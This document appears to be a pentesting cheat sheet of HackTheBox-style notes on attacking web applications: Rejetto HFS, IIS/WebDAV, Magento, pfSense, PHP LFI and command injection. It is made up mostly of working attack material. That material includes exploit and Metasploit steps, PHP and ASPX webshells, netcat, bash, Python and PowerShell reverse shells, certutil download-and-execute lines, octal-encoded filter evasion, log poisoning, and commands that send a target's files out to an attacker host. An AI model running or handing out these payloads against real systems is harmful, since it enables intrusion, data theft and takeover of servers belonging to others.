* Developed by Rejetto

```
http://10.x.x.x .. Port 80 HttpFileServer (HFS 2.3)
```

## Password Guessing

```
admin:admin 
admin:password 
root:password 
root:root 
admin:fileserver
```

## HFS 2.3 Remote Command Execution (RCE)

* Vulnerable to remote code execution attacks
* Due to a poor regex in the file ParserLib.pas
* <https://www.exploit-db.com/exploits/39161>
* Execute arbitrary programs using %00 (null byte) sequence in a search action.
* Which terminates the regular expression but not the entire string.
* HFS has settings to secure against searching with { } . |

## Explore HFS

* Google: HTTPFileServer Exploit
* <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6287>
* <http://www.rejetto.com/wiki/index.php/HFS:_scripting_commands>

```
GET /?search=%00 HTTP/1.1                            ..original
GET /?search=%00{.exec|ping 10.10.10.14 HTTP/1.1     ..ping
GET /?search=%00{.exec|ping 10.10.10.14.} HTTP/1.1   ..better

tcpdump -i tun0                                      ..confirm pings
```

## Easy Exploit (no msf)

```
searchsploit rejetto

vim 39161.py                   ..fix localip/port
cp nc.exe .                    ..prep payload
python -m SimpleHTTPServer 80  ..share
http://$MyIP:80/nc.exe         ..confirm path
python 39161.py <IP> <Port>    ..method
python 39171.py 10.x.x.x 80    ..exploit (try 4x)
nc -nvlp 4444                  ..listen
```

## Rejetto v2.3 RCE - Metasploit

* rejetto\_hfs\_exec
* CVE-2014-6287

```
--------------------
Google
httpfileserver vulnerability
httpfileserver metasploit
httpfileserver CVE

Found... "Remote Code Execution", Rejetto, CVE-2014-6287

--------------------
Metasploit
> searchsploit HTTPFileServer   .. nothing
> searchsploit HFS              .. Rejetto HTTP v2.3

> msfconsole
> search rejetto
> use exploit/windows/http/rejetto_hfs_exec
> show options
> set RHOST $IP
> set LHOST $MyIP
> set SRVHOST $MyIP
> set LPORT 5555
> run
```

## Meterpreter 64

* Session is 32 bit, but Server is 64
* Set a new Payload

```
> sysinfo
Computer: OPTIMUM
OS: Windows 2012 R2
Arch: x64                        ..64 bit
Meterpreter: x86/Windows         ..32 bit

> background
msf> show options
msf> set payload windows/x64/meterpreter/reverse_tcp     ..new Payload
msf> set LPORT 51001                                     ..new Port
msf> run                                                 ..connected!
```

##


# IIS

## IIS Versions

* <https://en.wikipedia.org/wiki/Internet_Information_Services>
* REF: [IIS6WebDav](/04-webapps/iis6-webdav)

```
80 http Microsoft IIS httpd 7.5

IIS 7.5 = Windows 2008 R2
```

## IIS Uploads

* If you can upload to an IIS site, keep trying to see which extensions are allowed

```
test.txt        ..fail
test.asp        ..fail
test.aspx       ..fail
test.jpg        ..ok
web.config      ..ok - we can exploit
```

## RCE webconfig upload

* Old Version of IIS 7.5 that accepts fileuploads
* We can transfer our 'web.config' that includes some evil-aspx at the bottom
* <https://poc-server.com/blog/2018/05/22/rce-by-uploading-a-web-config/>
* <https://soroush.secproject.com/blog/tag/unrestricted-file-upload/>
* REF: [RevWebShellsAsp](/03-getting-in/03-reverseshell-php#asp-webshell)

```
-------------------------------
vi web.config         ..evil asp code at bottom
Response.write(1+2)   ..test will equal 3

-------------------------------
cat /opt/shells/web.aspx

<%
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("cmd /c whoami")
Set cmd = rs.Exec("cmd /c ping 10.x.x.x")
o = cmd.StdOut.Readall()
Response.write(o)
%>

-------------------------------
Execute:
http://10.x.x.x/UploadedFiles/web.config

-------------------------------
Catch a ping (did my command work?)
tcpdump -i tun0 icmp
```

## Easy

```
-----------------------
We will use web.config exploit

First web.config will download nc
python -m SimpleHTTPServer 8080
rs.Exec("cmd /c certutil -urlcache -f http://10.x.x.x:8080/nc.exe C:\Windows\Temp\nc.exe")

Second web.config will execute nc reverse
rs.Exec("cmd /c C:\Windows\Temp\nc.exe 10.x.x.x 4444 -e cmd.exe")
nc -nvlp 4444
whoami
merlin
systeminfo


```

```

-----------------------
google iis rce upload

Set cmd1 = wShell1.Exec("certutil -urlcache -split -f http://10.x.x.x:8080/nc.exe C:\\users\\public\\nc.exe")
Set cmd1 = wShell1.Exec("cmd /c c:\users\public\nc.exe 10.x.x.x 4444 -e c:\windows\system32\cmd.exe")

```

```
0xdf wrote this easy one:
To download our Nishang reverse shell and execute it

prep
https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
Add a reverse call as the last line:
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 443
share with python

<%@ Language=VBScript %>
<%
  call Server.CreateObject("WSCRIPT.SHELL").Run("cmd.exe /c powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.x.x.x/Invoke-PowerShellTcp.ps1')")
%>
```


# IIS6 WebDav

## Microsoft Windows 2003|2008|XP

* google 'iis 6.0 reverse shell'
* Microsoft-IIS/6.0
* http-webdav-scan
* WebDAV allows clients to perform Web authoring operations remotely.
* REF: [Granny/Grandpa-HTB](/04-webapps/iis6-webdav)
* [https://github.com/ohpe/juicy-potato/releases](https://github.com/ohpe/juicy-potato/releases%20)

## nmap finds webdav

* **nmap -sV -sC -oA nmap 10.x.x.x**
* Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
* Options: OPTIONS, TRACE, **GET**, HEAD, DELETE, **PUT**, POST, COPY, **MOVE**
* GET - download
* PUT - upload
* MOVE - you can rename/move

## davtest

```
> davtest -url http://10.x.x.x
```

## cadaver

```
> cadaver http://10.x.x.x
d> ls                          ..list
d> put shell.aspx              ..403 Forbidden
d> put shell.txt               ..ok
d> move shell.txt shell.aspx   ..ok
```

## PUT/MOVE

* Scenario:
  * Can 'put' text - upload
  * NOT 'put' aspx
  * Can 'move' aspx

```
------------------
Test:
curl -X PUT http://10.x.x.x/hello.txt -d @hello.txt
curl http://10.x.x.x/hello.txt

------------------
webshell:
cp /usr/share/webshells/aspx/cmdasp.aspx .
curl -X PUT http://10.x.x.x/payload.txt -d @cmdasp.aspx
curl -X MOVE -H 'Destination:http://10.x.x.x/payload.aspx' http://10.x.x.x/payload.txt
http://10.x.x.x/payload.aspx
Command: whoami 'execute' button
network service

------------------
reverse:
msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=4444 -f aspx > reverse.aspx
curl -X PUT http://10.x.x.x/reverse.txt --data-binary @reverse.aspx
curl -X MOVE -H 'Destination:http://10.x.x.x/reverse.aspx' http://10.x.x.x/reverse.txt
curl http://10.x.x.x/reverse.aspx
http://10.x.x.x/reverse.aspx
nc -nlvp 4444
```

## Burp

```
Proxy 10.x.x.x: 80
Burp > Intercept
PUT  > Send to repeater
PUT /ippsec.html HTTP/1.1
this is a test
http://10.x.x.x/ippsec.html  .. works!

msfvenom -p windows/shell_reverse_tcp LHOST=10.x.x.x LPORT=4444 -f aspx
copy/paste the text of aspx msfvenom
paste into burp (bottom)
PUT /ippsec.html HTTP/1.1    ..html ok
PUT /ippsec.aspx HTTP/1.1    ..aspx forbidden!

OPTIONS / HTTP/1.1           ..shows list of webdav options
MOVE /ippsec.html HTTP/1.1   ..move html
Destination: /ippsec.aspx    ..aspx!
http://10.x.x.x/ippsec.aspx
nc -nvlp 4444
Connected!
```

## iis6-exploit

* CVE-2017-7269
* iis\_shell.py
* iis6-exploit-2017-CVE-2017-**7269**
* <https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269>
* usage: iis6webdav.py RHOST RPORT LHOST LPORT

```
> nc -nvlp 4444
> python ./iis6webdav.py 10.x.x.tgt 80 10.x.x.me 4444
```

## Windows 2003

Windows Server 2003 and IIS 6.0 privledge escalation using impersonation:\
<https://www.exploit-db.com/exploits/6705/>


# Local File Inclusion (LFI)

AKA: Directory Traversal

## Local File Inclusion

* If your path looks like a file/folder.. you might find an LFI
* Keep trying combinations until you find one.
* Or google/searchsploit a known LFI
* REF: [PhpTricks](/04-webapps/php-tricks), [WebInjections](/04-webapps/03-webapp), [PFSenseRemoteExec](/04-webapps/pfsense#exec-code-exploit), [CharEvasion](/03-getting-in/char-evasion-tricks)

```
LFI Likely:
http://$IP/dept/manage.php?notes=files/nineveh.txt

Testing:
http://$IP/dept/manage.php?notes=files/../../../../etc/passwd
http://$IP/dept/manage.php?notes=files/../../../../../../../etc/passwd
http://$IP/dept/manage.php?notes=/myNotes/../../../etc/passwd
```

## Automation

* Automate LFI Enumeration/Discovery.
* Good to add to the tool-belt when you're looking to see what sensitive files exists and are readable once you've found a LFI vulnerability. It also includes a Mode (ICE-Breaker) to scan a potential target using an encoded path traversal list - which helps in LFI discovery.
* <https://www.reddit.com/r/oscp/comments/9fxhbp/helpful_local_file_inclusion_tool_fi/>

```
nikto ..might give you one (if known)
python fi-cyberscan.py -t http://$IP/cyber.php?page= -m1
fimap -u $IP  ..in kali
```

## Whoami Home SSH:

```
whoami:
/proc/self/status  ..match 100:101 with /etc/passwd

Home directory:
/etc/passwd                    ..learn home path
/var/lib/asterisk/             ..check home path
/var/lib/asterisk/.ssh/id_rsa  ..priv ssh key here?
```

## Code exe with 'environ'

* If you have access to 'environ' - you might have code execution
* Burp > Repeater > /proc/self/environ

```
graph.php?lang=../../../proc/self/environ%00&module=Accounts
User-Agent: <?php echo "hello"; ?>
Go
```

## Fuzzing LFI

* Burp > Intercept > Send to **Intruder** > Positions
* Clear & Add: $attack$
* <https://github.com/tennc/fuzzdb/tree/master/dict/BURP-PayLoad/LFI>
* REF: [Fuzzing](/02-scanning/fuzzing)

```
graph.php?lang=../../../etc/passwd%00&module=Accounts
graph.php?lang=../../../$attack$%00&module=Accounts
                           |
                         Keyword for fuzz

Payloads > Load > burp-fuzz > 
LFI-LogFileCheck.txt
LFI-InterstingFiles.txt

Start Attack
Sort by Length ..to see results
```

## RFI from LFI (php cookies)

* If you can locate the 'session' cookies
* You may be able to inject them into **Burp Repeater** to get an Execution

```
cd vtiger/  ..if you have the source
grep -R phpinfo\(\)  
maybe: Image/Canvas/PDF.php  ..if we can access?
Find where session is saved:
ex: /tmp/sess_xyz123

Repeater:
graph.php?lang=../../../tmp/sess_xyz123%00&module=Accounts
Might give you execution
```

## Directory Traversals

```
--------------------
--------------------
/images/./photo.jpg             .. ok
/images/../photo.jpg            .. error
/images/../images/photo.jpg     .. win!

http://abc.so/images/../photo.png                              ..ok
http://abc.so/images/../../../../../photo.png                  ..ok
http://abc.so/../../../../../../../../../../secret.key         ..nothing

http://abc.so/file.php?file=photo.png
http://abc.so/file.php?file=./photo.png                  .. added ./
http://abc.so/file.php?file=./file.php                   .. 'real' file.php
http://abc.so/file.php?file=./../../../../../etc/passwd  .. worked !!
http://abc.so/file.php?file=./../../../../../boot.ini    .. windows target !!


--------------------
--------------------
Filtered: Cant leave /var/www/ 

http://abc.so/
http://abc.so/file.php?file=/var/www/photo.png                           ..ok
http://abc.so/file.php?file=/secret.key                                  ..fail
http://abc.so/file.php?file=./../../../../../../../../photo.png          ..fail
http://abc.so/file.php?file=/var/www/file.php                            ..ok
http://abc.so/file.php?file=/var/www/../../../../../../../../etc/passwd  ..ok
```

## NULL BYTE

* %00 ..URL-encoded
* Adding a NULL BYTE will get rid of suffix (on older systems)
* Works well in Perl and older versions of PHP (solved since 5.3.4)
* Scenario: Server is adding .png automatically to your page

```
http://abc.so/file.php?file=photo                 .. ok
http://abc.so/file.php?file=photo.png             .. nothing
http://abc.so/file.php?file=photo.png%00          .. ok
http://abc.so/file.php?file=file.php%00           .. ok
http://abc.so/file.php?file=/../../etc/passwd%00  .. win
```

## Netcat Tricks

* Find all files on host.. send to remote
* REF: [ReverseShell](/03-getting-in/03-reverseshell-php#nc), [CharEvasion](/03-getting-in/char-evasion-tricks), [LFI](/04-webapps/lfi)

```
target: 
echo+abc+|nc+10.x.x.x:9000    ..test
find+/+|nc+10.x.x.x:9000      ..pull all files

kali:
nc -nvlp 9000 > findall.txt   ..receive
```


# Magento

## Magento CMS

* <https://magento.com>
* Magento is an open-source e-commerce platform written in PHP
* <https://magento.com/blog/magento-news/magento-community-edition-1.9.1-now-available-download>
* <https://docs.magento.com/m1/ce/user_guide/configuration/url-admin-custom.html>

## Scan

* Magescan
* <https://github.com/steverobbins/magescan>
* Find Version, Files, Etc (local.xml might have passwords)
* Find the Admin page: <http://10.x.x.x/index.php/admin>

```
> php magescan.phar scan:all 10.x.x.x
```

## Create Admin

* RCE 37977
* Magento eCommerce- Remote code Execution-37977.py
* Will create admin creds using a sql injection

```
searchsploit magento
Magento eCommerce- Remote code Execution-37977.py
vi 37977.py
target = http://10.x.x.x/
target_url = target + "/index.php/admin/CmsWysiwyg/directive/index/"

python 37977.py
http://swagshop.htb/index.php/admin/ 
Gives us Admin credentials!!
forme:forme
```

## Authenticated RCE 37811

* Must have Admin User/Pass for this to work
* Must have install\_date from '/app/etc/local.xml'
* Lots of tweaks and errors to get this to work
* <https://joshuasuren.medium.com/hack-the-box-swagshop-write-up-18-1c18fecf885a>

```
-------------------
Authenticated RCE: 37811.py
Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution

vi 37811.py
username='forme'
password='forme'
install_date='Wed, 08 May 2019...'      ..from local.xml

-------------------
Errors:
ippsec used path to admin page to help:
python exec.py http://10.x.x.x/index.php/admin/ 'whoami' 

-------------------
Other bloggers updated:
userone = br.find_control(name="login[username]", nr=0)
userone.value = username
pwdone = br.find_control(name="login[password]", nr=0)
pwdone.value = password

-------------------
More errors, had to update: from 72 > 2y
request = br.open(url + 'block/tab_orders/period/2y/?isAjax=true', data='isAjax=false&form_key=' + key)
                                                 /\
-------------------
python 37811.py http://$IP "whoami"                     ..error
python 37811.py http://$IP/index.php/admin/ "whoami"    ..better
python 37811.py http://$IP/index.php/admin/ "bash -c 'bash -i >& /dev/tcp/10.x.x.x/9001 0>&1'"

nc -nvlp 5555
whoami
www-data
```

## Upload IDE

* Requires Admin login
* System > Magento Connect > Magento Connection Manager > **Upload**
* Download: [Magpleasure\_Filesystem-1.0.0.tgz](http://connect20.magentocommerce.com/community/Magpleasure_Filesystem/1.0.0/Magpleasure_Filesystem-1.0.0.tgz)

```
---------------
http://$IP/index.php/admin/ 
Login with Admin

System > Magento Connect > Magento Connection Manager

Check Box: Put store on the maintenance mode while installing
Direct Package File Upload > Browse
Magpleasure_Filesystem-1.0.0.tgz
Upload!
nload:
http://connect20.magentocommerce.com/community/Magpleasure_Filesystem/1.0.0/Magpleasure_Filesystem-1.0.0.tgz

---------------
System > Filesystem > IDE
Edit "Cron.php" 
Update it with an evil php webshell

Get your shell
http://10.x.x.x/cron.php

Submit a python reverse shell
nc -nvlp 4444
whoami
www-data
```

## Froghopper Attack (RCE)

* Requires Admin login
* <https://www.foregenix.com/blog/anatomy-of-a-magento-attack-froghopper>
* Upload an evil png with shellcode
* Enable Symlinks
* Edit Newsletter to call the payload

```
http://swagshop.htb/index.php/admin/ 
Login with Admin

-------------------
Create evil png

echo '<?php' >> shell.php.png
echo 'passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.x.x.x 4444 >/tmp/f");' >> shell.php.png
echo '?>' >> shell.php.png

-------------------
System > Configuration > Advanced > Developer > Template Settings
Allow Symlinks: "Yes"

-------------------
Catalog > Manage
New Category > Manage Categories > Categories > Catalog
Thumbnail Image: Browse "shell.php.png"
http://10.x.x.x/media/catalog/category/shell.php.png   ..confirm it worked!

-------------------
Newsletter > Edit Newsletter Template
Add our code block to the "Template Content"
Save Template
Preview Template (to execute)
{{block type=’core/template’ template=’../../../../../../media/catalog/category/shell.php.png’}}

-------------------
Open template to execute the 'symlink' pointed to the evil-png

nc -nvlp 4444
whoami
www-data
```

## Upload Evil Plugin

* Requires Admin login
* MAGento plugins are basically php file zipped.
* Zip an evil [php ](/04-webapps/php-tricks)and upload it as a Plugin
* Did not work for swagshopHTB

```
http://$IP/magmi/web/magmi.php
http://$IP/index.php/admin/Cms_Wysiwyg/directive/index/
http://$IP/index.php/admin/Cms_Wysiwyg/directive/key/905d7.../

-------------------
vi evil.php

<?php
if (isset($_POST['command'])){
echo "<form action='evil.php' method='post'>
	  <input type='text' name='command' value=''/>
	  <input type='submit' value='execute'/>
	  </form>";

	if(function_exists('shell_exec')) {
	$command=$_POST['command'];
	$output = shell_exec("$command");
	echo "<pre>$output</pre>";
   }
}
else {
  echo "<form action='evil.php' method='post'>
	  <input type='text' name='command' value=''/>
	  <input type='submit' value='execute'/>
	  </form>";
}
?>

-------------------
> zip evil.zip evil.php

Upload new plugins:
click on "choose file" > evil.zip
 
-------------------
Execute:
http://10.x.x.x/magmi/plugins/evil.php
```


# Nagios

## Famous 'nagios' exploit

* nrpe cve command injection 2014 ..several?
* <https://www.exploit-db.com/exploits/32925>
* <https://www.threatstack.com/blog/cve-2014-6271-and-you-a-tale-of-nagios-and-the-bash-vulnerability>


# PFSense

## Exec Code Exploit

* **google**: pfsense cve
  * cvedetails.com
    * bright red ones for 'pfsense'
    * 'exec code' as indicator
  * Use: CVE-2014-4688 (only 6.5 score)
  * exploitdb: 43560 ..interesting
* **google**: pfsense 2.1.3 changelog
  * Found: Nov 11, 2014 New Features
* **google**: pfsense exploits ..find good blogpost
  * proteansec - pt4: directory traversal
  * proteansec - pt2: command injection
  * **status\_rrd\_graph\_img.php** ..still unpatched, we will use
* REF: [ReverseShell](/03-getting-in/03-reverseshell-php#python), [LFI](/04-webapps/lfi), [CharEvasion](/03-getting-in/char-evasion-tricks)

## Mixed Results

* Had trouble following these examples from ippsec

```
pfsense > status > RRD Graphs

Cleanup the link:
https://$IP/status_rrd.graph_img.php?database=system-processor.rrd
https://$IP/status_rrd.graph_img.php?database=queues               ..from exploit/blog
https://$IP/status_rrd.graph_img.php?database=queues;sleep+10      ..worked!
https://$IP/status_rrd.graph_img.php?database=queues;echo+ippsec   ..ugly results
https://$IP/status_rrd.graph_img.php?database=queues;echo+ippsec|nc+10.10.14.6+9000
.. queues;echo+whoami|nc+10.10.14.6+9000    .. root
.. queues;echo+hostname|nc+10.10.14.6+9000  .. pfSense
nc -nvlp 9001

------------------------------
More:
.. queues;echo+abc|nc+10.10.14.6+9000    ..works
.. queues;find+/|nc+10.10.14.6+9000      ..fail ...find data in slash
.. queues;find+.|nc+10.10.14.6+9000      ..ok
nc -lvnp 9001 > filesystem.txt           ..catch

.. queues;echo+abc|nc+10.10.14.6+9000    ..ok
.. queues;echo+abc/|nc+10.10.14.6+9000   ..fails (slash blocked)
.. queues;env|nc+10.10.14.6+9000    ..get environment HOME=/

.. queues;echo+$(HOME)|nc+10.10.14.6+9000    ..get environment HOME=/
.. queues;FIND+$(HOME)|nc+10.10.14.6+9000    ..FIND /  ..NOW WORKS
.. queues;cat+$(HOME)home$(HOME)rohit$(HOME)user.txt|nc+10.10.14.6+9001

nc -lvnp 9001 > filesystem.txt      
grep root.txt filesystem.txt

------------------------------
reverse
Python Reverse Shell

vim cmd  ..connect(("10.10.14.6",1234))
nc -nvlp 9001 < cmd   ..send/share the file
nc -nvlp 1234         ..catch shell
..queues;nc+10.10.10.6+9001|python+&   ..fail
..queues;nc+10.10.10.6+9001|python     ..ok pull file, python execute
connected!
```

## gobuster - 45 minutes

```
> gobuster dir -w medium.txt dir -u https://10.x.x.x -k -x php,txt,conf,bak
/system-users.txt  ..found username!!!
```

## More Injections

```
https://10.x.x.x/status_rrd_graph_img.php?database=queues;cd+..;cd+..;cd+..;cd+usr;cd+local;cd+www;id%3Ecmd.txt
https://10.x.x.x/cmd.txt  ..view results

https://10.x.x.x/status_rrd_graph_img.php?database=-throughput.rrd&graph=file|command|echo%20
https://10.x.x.x/status_rrd_graph_img.php?database=-throughput.rrd&graph=file|printf%20OCTET_ENCODED_SHELLCODE|sh|echo%20
```

## Octal Code to Injection

* If Dashes and Slashes are Blocked
* Use Octal Encoding

```
#!/usr/bin/env python3
command = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.10',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);'"
payload = ""
for char in command:
	payload += ("\\" + oct(ord(char)).lstrip("0o"))
print(payload)


---------------------
Result: 
\160\171\164\150\...

Verify:
printf '\160\171\164\150\...'
python -c 'import socket... worked!


---------------------
Octal Injection!
https://10.x.x.x/status_rrd_graph_img.php?database=queues;printf+%27\160\171\164\150\...%27|sh

```

## Easy Exploit

* <https://medium.com/@barpoet/hackthebox-sense-walkthrough-650865ed538c>
* <https://www.exploit-db.com/exploits/43560>

```
searchsploit -m php/webapps/43560.py
exploit-db 43560 > python command injection script
python3 43560.py --rhost 10.x.x.x --lhost 10.x.x.x --lport 4444 --username rohit --password pfsense
nc -nvlp 4444
whoami ..root
```

## Metasploit

* Plus Socks pivot from another box (since we were banned)

```
service postgresql start 
msfconsole
search pfsense 
graph injection
locate pfsense_graph

use exploit/unix/http/pfsense_graph_injection_exec
set RHOST $IP
set USERNAME rohit
set PASSWORD pfsense
set LHOST tun0
set Proxies socks5:127.0.0.1:1080
set ReverseAllowProxy true
exploit
m> shell
m> hostname
```

## Advanced

* [BruteCSRFPython](/05-passwords-ciphers/hydra#brute-csrf-python)


# php

## Basics

* Combined with a[ Local File Inclusion](/04-webapps/lfi), you can make php get you a shell
* REF: [phpLite](/04-webapps/phplite), ninevehHTB, [WebInjections](/04-webapps/03-webapp), [ReverseShells](/03-getting-in/03-reverseshell-php#php-web-shell)
* Make sure to URL Encode your Injection with [Burp](/02-scanning/burp#url-encode) or [MeyerWeb](https://meyerweb.com/eric/tools/dencoder/)

## Reverse Shell

* Two options to try:

```
<?php system($_GET["cmd"]); ?>               ..should work
<?php echo system($_REQUEST ["cmd"]); ?>     ..one I normally see

http://web/hi.php?notes=/../note.php&cmd=nc -e /bin/sh 10.x.x.x 4444
http://web/hi.php?notes=/../note.php&cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.x.x.x 4444 > /tmp/f
```

## Downloading

```
<?php system("wget $IP/shell.php -O /tmp/shell.php; php /tmp/shell.php"); ?>
```

## php explore

* REF: poisonHTB

```
https://$IP/phpinfo.php                 ..Found: file_uploads 'On'
https://$IP/browse.php                  ..page can run local php scripts
https://$IP/browse.php?file=Hello       ..fail
https://$IP/browse.php?file=index.php   ..ok

Encode to view Source:
https://$IP/browse.php?file=php://filter/convert.base64-encode/resource=index.php   ..encodes b64
echo PD9waHAKcHJ.. | base64 -d  ..<?php print_r(ini_get_all());?>

https://$IP/browse.php?file=http://$MyIP/Anyfile   ..http wrapper disabled
https://$IP/browse.php?file=ftp://$MyIP/Anyfile    ..ftp wrapper disabled
https://$IP/browse.php?file=expect://ls            ..unable to find wrapper
https://$IP/browse.php?file=/etc/passwd            ..ok (found username)
```

## phpinfo - fileupload - vulnerability

* Check options for: **phpinfo.php**
* If 'fileupload = ON' - it will receive any files you send.
* php will save them to a cache directory (normally not available to users)
* But with an LFI you may get code-execution
* Test with Burp Intercept:

```
POST /phpinfo.php HTTP/1.1   
Content-Type: multipart/form-data; boundary=--HelloWorld

----HelloWorld
Content-Disposition: form-data; name="blah"; filename="TestFile"
Content-Type: text/plain
Does this work
----HelloWorld

View phpinfo results to see if our file was accepted:
"PHP Variables"            ..header
_FILES("blah")             ..found!
```

## phpinfo - LFI

* <https://insomniasec.com/cdn-assets/LFI_With_PHPInfo_Assistance.pdf>
* Github > [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) > FileInclusion > **phpinfolfi.py**

```
---------------------
---------------------
Replace the PAYLOAD with a full reverse-payload
PAYLOAD="""$s\r<?php...;?> \r""" % TAG
(keep all the weird bits.. just focus on swapping the php line
<?php...;?>

---------------------
---------------------
locate php-reverse
php-reverse-shell.php
paste into phpinfolfi.py as 'payload'
<?php...?>
update ip, port
del comments
LFIREQ="""GET... /browse.php?file=%s HTTP/1.1\r
i = d.find("[tmp_name] =>")    ..problem
i = d.find("[tmp_name] =&gt")  ..fixed twice in script

---------------------
---------------------
python phpinfolfi.py $IP 80 100
.. port 80
.. threads 100

nc -nvlp 9001  ..got a shell
```

## Log Poisoning

* Submit an evil log entry (custom User-Agent)
* Execute it Viewing the log with an LFI
* If php tags are 'hidden' then they are interpreted, and we can inject our payload
* REF: [php](/04-webapps/php-tricks), poisonHTB

```
TEST 1

View Log:
https://$IP/browse.php > /var/log/httpd-access.log
curl https://$IP/browse.php?file=%2Fvar%2Flog%2Fhttpd-access.log

Burp > Repeater > Custom "User-Agent"
https://$IP/doesntmatter
User-Agent: Hello World

Confirm:
Notice "Hello World" was sent as the User-Agent
We have control over this field, and we can send malicious payload here
```

```
TEST 2

Burp > Repeater > Custom "User-Agent"
https://$IP/doesntmatter
User-Agent: <?php echo('Hello World'); ?>

https://$IP/browse.php?file=%2Fvar%2Flog%2Fhttpd-access.log
We see "Hello World" in the log
php-tags were read (ie: dont see them written in plain-text)
Meaning we have execution!
```

```
EXPLOIT

Burp > Repeater > Custom "User-Agent"
GET /doesntmatter HTTP/1.1
User-Agent: <?php system($_REQUEST['cmd']) ?>

https://$IP/browse.php?file=%2Fvar%2Flog%2Fhttpd-access.log
https://$IP/browse.php?file=%2Fvar%2Flog%2Fhttpd-access.log&cmd=hostname
https://$IP/browse.php?file=%2Fvar%2Flog%2Fhttpd-access.log&cmd=ls -la
https://$IP/browse.php?file=%2Fvar%2Flog%2Fhttpd-access.log&cmd=uname -a
https://$IP/browse.php?file=%2Fvar%2Flog%2Fhttpd-access.log&cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i|nc 10.x.x.x 4444 >/tmp/f
(might need burp url-encode)

nc -nvlp 4444  ..connected!
```

```
bsd reverse netcat
bsd doesnt like the 'normal' reverse

normal:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.x.x.x 9002 >/tmp/f

bsd version:
mkfifo /tmp/f;cat /tmp/f|/bin/sh -i |nc 10.x.x.x 4444 >/tmp/f            ..ippsec
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i|nc 10.x.x.x 4444 >/tmp/f   ..maybe
```

```
Log issue:

vi /var/log/httpd-access.log
delete our bad-line from earlier mistake, oops
because we used echo "Hello World" with double-quotes

Wipe the log file:
echo "" > httpd-access.log
```


# php type juggling

* A bug in PHP
* By sending in the `password` POST data as an array.
* Get the POST from Burp and resend with an Array
* Webpage will let you in!

```
username=admin&password=admin   ..original
username=admin&password[]=      ..type juggline
```

* REF: NinevehHTB
* <https://0xdf.gitlab.io/2020/04/22/htb-nineveh.html>


# phpLite

## PHP Code Injection

* <https://www.exploit-db.com/exploits/24044>
* Create an evil database entry that lets you execute php
* created in the directory: **/var/tmp**

```
-------------------
> searchsploit phpLiteAdmin 1.9

-------------------
Create Database : hack.php
Create New table: hack (1 field)
Field: <?php echo system($_REQUEST ["cmd"]); ?>
Type: TEXT
```

## Local File Inclusion (LFI)

* You will need an [LFI](/04-webapps/lfi) to execute the php code you just created

```
http://xxx.com/manage.php?notes=/myNotes/../../../../../../../../etc/passwd
http://xxx.com/manage.php?notes=/myNotes/../../../../var/tmp/hack.php&cmd=ls

URL Encode this:
.. &cmd=php -r '$sock=fsockopen("$MyIP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

nc -nvlp 4444
whoami ..www-data
```


# Web Injections

## Basics

* Used to run arbitrary commands on a server.
* Multiple payloads can be used to trigger this behavior.
* This is going to take a lot of guess-work .. just keep trying till you get it
* Also: [PhpTricks](/04-webapps/php-tricks), [SqlInjections](/04-webapps/03-webapp-sqli), [JavascriptXSS](/04-webapps/03-webapp-javascript#xss)

## Cookies

* Check cookies
  * Tools > Developer > Application > Cookies
  * for yes-no or admin flags
  * for username (ex: auth=webuser)
    * Update to 'admin' to elevate!
* Try google chrome extension
* Encode/Decode with Base64 if needed
* MD5 key for username:

```
62318aca2ef2e809a13623715a8aaff4   ..testme
21232f297a57a5a743894a0e4a801fc3   ..admin
> echo -ne admin | md5sum          ..ne to prevent new-line dump
```

## Admin Registration Bug

* Admin Registration Tricks
* You might be able to register with 'AdMIN' or 'admin '
* And the login will assume you are actually 'admin'
* This is just dirty programming!
* select \* from users where username = 'admin'

## Catch a Login Redirect with Burp

```
http://abc.libcurl.so/
http://abc.libcurl.so/login.php    ..redirect

Burp or Curl.. you'll find the redirect-secret!!!
curl http://abc.libcurl.so/
<b>secretstring</b>                ..secret!!
```

## Naughty Strings

Try and break a webpage for error or injection:

* <https://github.com/minimaxir/big-list-of-naughty-strings>
* <https://www.owasp.org/index.php/Format_string_attack>

## Command Injection Basics

```
command1 && command2  .. will run command2 if command1 succeeds.
command1 || command2  .. will run command2 if command1 fails.
command1 ; command2   .. will run command1 then command2.
command1 | command2   .. will run command1 send the output of command1 to command2.

```

## Command Injections

* Where \[x] is the value you provided in the form or in the URL.
* Instead of sending the \[x] to the command:
* If commands are blocked, backticks might still be allowed!

```
ping x
ping 127.0.0.1
ping 127.0.0.1 ; cat /etc/passwd
ping 127.0.0.1 ; /usr/local/bin/badApp

http://xyz.so/?ip=127.0.0.1
http://xyz.so/?ip=127.0.0.1;pwd
http://xyz.so/?ip=127.0.0.1;uname
http://xyz.so/?ip=127.0.0.1;cat /etc/passwd
http://xyz.so/?ip=127.0.0.1;/usr/local/bin/score 73c7f148-dfb3-437a-a4a6-d6f74e6ed77d
http://xyz.so/?ip=127.0.0.1%26%26uname   ..&&
http://xyz.so/?ip=127||uname             ..fail and run
http://xyz.so/?ip=`uname`                ..back-ticks get priority
http://xyz.so/?ip=`/tmp/myApp`           ..my app

```

## Blind

* Commands are blocked, but $() might be allowed

```
http://xyz.so/?ip=`uname`                        ..error
http://xyz.so/?ip=$(uname)                       ..ok, but blind
http://xyz.so/?ip=$(curl https://me/hack)        ..watch logs to see if connect
